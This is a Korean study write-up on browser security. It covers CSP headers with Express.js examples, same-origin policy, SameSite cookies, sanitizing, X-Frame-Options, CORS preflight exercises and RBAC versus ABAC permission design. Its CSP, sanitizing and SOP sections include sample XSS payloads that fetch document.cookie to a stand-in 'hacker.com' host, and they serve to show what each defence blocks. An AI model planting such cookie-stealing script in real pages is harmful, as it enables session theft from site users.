-
설정해야 하는 헤더
Content-Security-Policy: 정책 내용
-
Express.js 예시
app.get("/", (req, res) => { // CSP 헤더 설정 res.setHeader( "Content-Security-Policy", "default-src 'self'; script-src 'self' cdn.jquery.com; img-src 'self' img.myshop.com", ); res.send(` <html> <body> <h1>Hello!</h1> <script src="/main.js"></script> </body> </html> `); });
// 논스와 같이 쓸 경우 app.get("/", (req, res) => { const nonce = crypto.randomUUID(); // 요청마다 논스 생성 res.setHeader( "Content-Security-Policy", `script-src 'nonce-${nonce}'; object-src 'none'; base-uri 'none'`, ); res.send(` <html> <body> <h1>Hello!</h1> <script nonce="${nonce}" src="/main.js"></script> </body> </html> `); });
- 브라우저에게 어떤 의미일까?
별도로 지정된 지시어가 없는 모든 리소스는 현재 사이트와 같은 출처에서만 불러올 수 있다는 규칙이다.
Content-Security-Policy: default-src 'self'
✅ 허용 — 같은 출처 https://kasa.com/script.js https://kasa.com/style.css https://kasa.com/logo.png ❌ 차단 — 다른 출처 https://cdn.jquery.com/jquery.js https://evil.com/hack.js
'self'가 포함하는 것 같은 프로토콜 + 도메인 + 포트 조합 현재 사이트가https://kasa.com이라면,✅ 포함 https://kasa.com/script.js → 같은 출처 https://kasa.com/img/cat.png → 같은 출처
'self'가 제외하는 것❌ 제외 http://kasa.com/script.js → 프로토콜이 다름 https://sub.kasa.com/script.js → 서브도메인은 다른 출처 https://kasa.com:8080/script.js → 포트가 다름 https://other.com/script.js → 도메인이 다름
- 상황
설정한 CSP
input에 아래를 입력
res.setHeader("Content-Security-Policy", "default-src 'self'");
<script>fetch(`http://hacker.com:8081?cookie=${document.cookie}`)</script>
- 네트워크 탭
hacker.com으로 네트워크 요청이 발생하지 않는다. 인라인 스크립트 자체가 실행되지 않기에fetch요청도 발생하지 않는 것! - 콘솔 메시지 브라우저 콘솔에는 Content Security Policy 경고가 표시된다. “다음 지시자를 위반했기 때문에 인라인 스크립트가 실행되지 않도록 차단했다” 메시지를 볼 수 있다.
default-src 'self'를 설정하면 스크립트뿐만 아니라 인라인 스타일도 기본적으로 차단된다. (style-src의 fallback으로도 동작하기 때문)
“건물 보안을 강화한다고 모든 출입문을 잠가버리면, 정작 직원들도 출입하지 못하는 상황이 생긴다.”
CSP도 마찬가지이다.
보안을 위해 default-src 'self' 설정
→ 외부 출처 전부 차단
→ 구글 애널리틱스 🚫 차단됨
→ 카카오맵 🚫 차단됨
→ 웹폰트 🚫 차단됨이처럼 악성 스크립트뿐만 아니라 정상적인 외부 리소스까지 전부 막혀버린다.
👉 필요한 출처만 허용 목록에 추가해야 한다.
모든 문을 잠그되 직원증(허용 목록)을 가진 사람만 출입 가능하도록 설정
- 브라우저 동작
정책을 위반해도 차단하지 않고 그냥 실행한다.
대신 콘솔에 경고 메시지를 띄운다.
악성 스크립트 주입 → 차단 안 함 → 그냥 실행 → hacker.com으로 fetch 요청 발생 → 쿠키 실제로 유출됨
- 서버 동작
브라우저가 정책 위반을 감지하면 서버의
/report경로로 JSON 보고서를 전송한다.서버는 이 보고서를 받아서 콘솔에 출력하거나 저장한다.{ "effective-directive": "style-src-elem", "blocked-uri": "inline", "document-uri": "https://example.com" }
- 일반 CSP와 비교하기
일반 CSP Report-Only 리소스 실행 차단 허용 위반 보고 선택적 항상 보고 용도 실제 보안 적용 정책 테스트
-
SameSite 쿠키
쿠기가 어떤 요청에서 전송될지를 제어하는 속성이다.
CSRF 공격은 공격자 사이트에서 피해자 사이트로 요청을 보낼 때 쿠키가 자동으로 따라가는 걸 악용한다.
공격자 사이트 → 피해자 은행 사이트로 요청 → 브라우저가 은행 쿠키 자동 전송 → 사용자인 척 송금 요청 성공 🚫
Samesite속성을 설정하면,Set-Cookie: sessionId=abc123; SameSite=Strict
다른 사이트에서 온 요청에는 쿠키를 아예 안 보낸다.
공격자 사이트 → 피해자 은행 사이트로 요청 → SameSite 설정으로 쿠키 전송 안 됨 → 인증 실패 → 공격 차단 ✅
-
Sanitize
사용자 입력값에서 악성 코드를 제거하는 과정이다.
공격자가 댓글에 이걸 입력하면,
<script>fetch(`http://hacker.com?cookie=${document.cookie}`)</script>
Sanitizing을 하면 이렇게 변환된다.
<script>fetch(...)</script>
브라우저는
<script>태그가 아닌 그냥 텍스트로 인식해서 실행이 안된다. -
X-Frame-Options 현재 페이지를
<iframe>으로 불러올 수 있는지 제어하는 헤더 클랙재킹 방어 목적이다.X-Frame-Options: DENY # 어디서도 iframe 불가 X-Frame-Options: SAMEORIGIN # 같은 출처만 iframe 가능
이는
frame-ancestors와 같은 역할로frame-ancestors가 더 유연하기 때문에 현재는frame-ancestors사용을 권장한다.X-Frame-Options frame-ancestors 방식 별도 헤더 CSP 지시어 유연성 낮음 높음 권장 여부 구형 권장
출처(Origin)는 아래 세 가지 요소가 모두 일치할 때 같은 출처로 판단한다.
| 요소 | 설명 | 예시 |
|---|---|---|
| 프로토콜 (Protocol) | 통신 방식 | http, https |
| 호스트 (Host) | 도메인 주소 | store.company.com |
| 포트 (Port) | 통신 포트 번호 | 80, 443, 8080 |
셋 중 하나라도 다르면 → 다른 출처
기준 URL: http://store.company.com/dir/page.html
-
✅ 같은 출처 - 경로(path)만 다름
<http://store.company.com/other/page.html>
- 프로토콜(http), 호스트(store.company.com), 포트(80) 모두 동일
- 경로는 출처 판단 기준에 포함되지 않음 → 같은 출처
-
❌ 다른 출처 — 프로토콜만 다름
<https://store.company.com/dir/page.html>
- http vs https → 프로토콜이 달라서 다른 출처
-
❌ 다른 출처 — 포트만 다름
<http://store.company.com:8080/dir/page.html>
- http 기본 포트는 80인데, 8080으로 다름 → 다른 출처
블로그에 나온 fetch 기반 악성 스크립트를 다른 출처로 실행했을 때 브라우저에서 어떤 일이 발생하나요? 네트워크 전송 여부, 응답 사용 가능성, 브라우저 콘솔 메시지 측면에서 서술하세요.
// evil.com에서 실행되는 악성 스크립트
fetch("<https://hacker.com/steal?data=>" + document.cookie)
.then((res) => res.text()) // ← 여기서 차단
.then((data) => console.log(data));| 측면 | 발생하는 일 |
|---|---|
| 네트워크 전송 여부 | ✅ 요청 자체는 서버로 전송됨 |
| 응답 사용 가능성 | ❌ 응답 데이터를 JS에서 읽을 수 없음 |
| 브라우저 콘솔 메시지 | ❌ "동일 출처 정책으로 인해 hacker.com에 있는 원격 리소스를 차단했다" 오류 출력 |
브라우저는 요청이 나가는 것은 막지 않고 돌아온 응답을 JS가 읽는 것을 막는다.
SOP가 어떻게 Session Hijacking(세션 하이재킹) 시도를 방지하는지 구체적으로 설명하세요. SOP가 차단하는 것과 허용되는 것(예: 네트워크 요청은 나가지만 응답 데이터에 접근 불가)을 포함하세요.
👉 사용자가 로그인한 세션 쿠키를 공격자가 탈취해서 사용자인 척 행동하는 공격
- 사용자가
bank.com에 로그인 → 브라우저에 세션 쿠키 저장 - 사용자가
evil.com접속 →evil.com의 JS가 브라우저에서 실행 evil.comJS가bank.com으로 fetch 요청 시도 → 브라우저가 자동으로 bank.com 세션 쿠키 첨부 → bank.com서버는 "로그인된 사용자 요청"으로 인식하고 계좌 정보 응답- ← SOP가 여기서 차단
→
evil.comJS가 응답(계좌 정보)을 읽지 못함
| 구분 | 내용 |
|---|---|
| ✅ 허용 | bank.com으로 요청 전송 자체 |
| ✅ 허용 | 요청에 세션 쿠키 자동 첨부 |
| ✅ 허용 | bank.com 서버가 응답 돌려보내기 |
| ❌ 차단 | evil.com JS가 응답 데이터(계좌 정보) 읽기 |
요청은 나가지만, 응답 데이터에 접근이 불가능하기 때문에 공격자가 실질적인 데이터를 얻을 수 없다.
// ❌ 다른 출처에서 응답 읽기 시도 → 차단
fetch("<https://other-origin.com/api/data>").then((res) => res.json()); // CORS 에러제한 이유
- 응답 데이터를 JS로 읽어서 처리할 수 있기 때문이다.
- 공격자가 사용자의 로그인 정보를 이용해 민감한 데이터를 탈취하는 데 직접적으로 쓰일 수 있다.
// ❌ 다른 출처로 XHR 요청 → 응답 읽기 차단
const xhr = new XMLHttpRequest();
xhr.open("GET", "<https://other-origin.com/data>");
xhr.onload = () => {
console.log(xhr.responseText); // 차단됨
};
xhr.send();제한 이유
- JS로 다른 출처의 응답을 읽어서 처리할 수 있는 API이기 때문에 제한된다.
fetch()가 나오기 전부터 사용된 구버전 방식이지만 동일하게 SOP가 적용된다.
/* ❌ 다른 출처의 폰트 로드 시도 → 차단될 수 있음 */
@font-face {
font-family: "MyCustomFont";
src: url("<http://other-origin.com/MyCustomFont.woff2>");
}제한 이유
- 폰트 파일도 서버 리소스이기 때문에, 무단으로 가져가는 것을 방지한다.
- 단, 브라우저마다 정책이 달라서 일부 브라우저는 허용하기도 한다.
| 구분 | SOP | CSP |
|---|---|---|
| 누가 적용하는가 | 브라우저가 자체적으로 적용 | 서버가 설정하고 브라우저가 실행 |
| 제어 주체 | 개발자가 직접 제어 불가 | 개발자가 HTTP 응답 헤더로 직접 설정 |
| 설정 가능 여부 | 별도 설정 없이 모든 페이지에 자동 적용 | 각 서비스 요구사항에 맞게 맞춤 설정 가능 |
| 유연성 | 브라우저별 세부 동작이 약간씩 다름 | Report-Only 모드로 단계적 적용 가능 |
브라우저에서 SOP 관련 차단 오류를 발견했을 때(예: 콘솔에 “동일 출처 정책으로 인해 ... 차단했습니다” 메시지) 문제 원인 파악을 위한 체크리스트(최소 3항목)를 작성하고, 임시·영구 대응 방안(각 1~2줄)도 제시하세요.
☐ 출처(Origin)가 정말 다른가?
- 프로토콜 / 호스트 / 포트 세 가지를 각각 확인 예: http vs https, localhost:3000 vs localhost:8080
☐ 2. 서버 응답에 CORS 헤더가 있는가?
- 브라우저 개발자도구 → Network 탭 → 해당 요청 클릭 -> Response Headers에서 Access-Control-Allow-Origin 확인
☐ 3. credentials(쿠키) 포함 요청인데 서버 설정이 맞는가?
- credentials: 'include' 사용 시
- Access-Control-Allow-Origin이 * 이면 안 됨 (특정 출처 명시 필요)
- Access-Control-Allow-Credentials: true 도 필요
임시 대응 (개발 중)
// Vite 기준 — vite.config.ts에서 프록시 설정
// 브라우저 입장에서 같은 출처처럼 보이게 우회
export default {
server: {
proxy: {
"/api": {
target: "<http://localhost:8080>",
changeOrigin: true,
},
},
},
};개발 환경에서만 쓰는 방법. 실제 배포 환경에서는 서버에서 CORS를 설정해야 한다.
영구 대응 (서버에서 CORS 설정)
// Node.js/Express 서버 예시
const cors = require("cors");
app.use(
cors({
origin: "<https://my-site.com>", // 허용할 출처 명시
credentials: true, // 쿠키 포함 요청 허용
}),
);근본적인 해결책. 서버에서 신뢰할 수 있는 출처를 명시적으로 허용해주는 방법이다.
origin: '*'는 모든 출처를 허용하는 것이라 보안상 위험하므로 특정 출처를 명시하는 게 좋다.
브라우저에서 http://localhost:8080 애플리케이션이 http://localhost:8081/resource.json을 요청했을 때, 네트워크 요청과 응답은 어떻게 처리되며, 브라우저가 응답 본문을 사용하지 못하는 이유는 무엇인가요?
포트가 다르기 때문에 (8080 vs 8081) 다른 출처로 간주된다.
네트워크 요청과 응답: 정상적으로 이루어진다.
서버는 응답을 보내고, 브라우저도 응답을 받는다.
하지만 브라우저가 응답 헤더에서 Access-Control-Allow-Origin 을 확인했을 때 해당 헤더가 없거나 출처가 일치하지 않으면, 브라우저가 JS에 응답 본문을 전달하지 않고 차단한다.
👉 브라우저가 보안상 응답을 막는 것!
서버가 다른 출처(http://localhost:8080)에서 자원을 사용할 수 있게 하려면 어떤 응답 헤더를 어떻게 설정해야 하나요? 글의 예시 코드를 참고해 헤더 이름과 값까지 구체적으로 쓰세요.
Access-Control-Allow-Origin: http://localhost:8080
만일 모든 출처를 허용하려면:
Access-Control-Allow-Origin: *
- 메서드가
GET,POST,HEAD중 하나일 것 - 헤더가 브라우저 기본 헤더 +
Accept,Accept-Language,Content-Language,Content-Type(허용 범위 내) 만 사용할 것
GET /resource.json이 단순 요청인 이유는 메서드가 GET이고, 별도의 커스텀 헤더 없이 기본 헤더만 사용하기 때문이다.
X-Goguma는 브라우저가 기본으로 허용하는 헤더 목록에 없는 커스텀 헤더이다.
단순 요청 조건을 벗어나기 때문에 Preflight가 발생하고, 서버가 이 헤더를 허용한다고 명시하지 않으면 차단된다.
따라서 해결을 위해서는 서버 응답에 아래를 추가해야 한다.
Access-Control-Allow-Headers: X-Goguma
PUT 요청을 보낼 때 브라우저는 왜 먼저 OPTIONS 요청을 보내나요? 이때 브라우저가 보내는 헤더와 서버가 응답해야 하는 헤더를 각각 쓰고, 사전 요청과 실제 요청이 어떻게 이어지는지 간단히 서술하세요.
PUT 은 서버 데이터를 변경할 수 있는 메서드로, 단순 요청 메서드(GET , POST , HEAD )에 해당하지 않는다.
또한 서버에 부수 효과를 일으킬 수 있기 때문에 브라우저가 실제 요청 전에 Preflight로 먼저 허용 여부를 확인한다.
브라우저가 보내는 Preflight 요청 헤더
OPTIONS /resource HTTP/1.1
Origin: http://localhost:8080
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: content-type
서버가 응답해야 하는 헤더
Access-Control-Allow-Origin: http://localhost:8080
Access-Control-Allow-Methods: PUT
Access-Control-Allow-Headers: Content-Type
흐름
브라우저 → OPTIONS 요청 (Preflight)
서버 → 허용 응답
브라우저 → 허용 확인 후 실제 PUT 요청 전송
서버 → 실제 응답
- 역할만으로 표현이 안 되는 경우가 생김
"원장이지만 삭제 권한이 없는 원장"처럼 같은 역할 안에서도 세부 권한이 달라지는 케이스를 역할만으로 처리할 수 없다. - 권한 로직이 UI에 흩어짐
기능마다if (isOwner || isAdmin || isPrincipal ...)같은 조건이 여기저기 하드코딩돼서 유지보수가 어렵다. - 학원 단위 권한 처리 불가
한 사람이 여러 학원에 소속되어 학원마다 역할이 다를 수 있는데, 단순 역할 기반으로는 이걸 표현하기 어렵다.
- 같은 역할인데 권한이 다른 케이스가 생길 때 (ex. 삭제 권한 있는 원장 vs 없는 원장)
- 권한 조건에 역할 외에 리소스 속성이 필요할 때 (ex. "본인 학원의 챌린지만")
- 권한 관련
if문이 여러 컴포넌트에 퍼지기 시작할 때
👉 전환 기준: 역할만으로 권한을 설명할 수 없는 예외가 반복해서 생긴다
- RBAC 유지 — 단순하고 예외가 없는 영역. 예를 들어
ADMIN만 접근 가능한 어드민 페이지, 로그인 여부로만 판단하는 기본 접근 제어 - ABAC 도입 — 조건이 복잡한 영역. 예를 들어 리소스 소유자 여부, 학원별 세부 권한, 특정 속성(
canDeleteChallenge)에 따라 달라지는 기능
- 요청의 패턴을 파악
"이게 일회성인지, 앞으로도 비슷한 케이스가 생길 것 같은지" 먼저 파악하기 - 확장 가능성을 질문
"앞으로 특정 역할이 삭제할 수 있는 케이스가 추가될까요?"질문과 같이 미리 범위를 확인하기 - 구조적으로 설계하고 구현
단순히if하나 추가하는 게 아니라, 권한 구조 자체를 확장 가능하게 설계한 뒤 구현하기 - 테스트 코드로 안전망 확보
새 요청을 반영할 때 기존 권한이 깨지지 않도록 테스트 코드를 함께 작성하기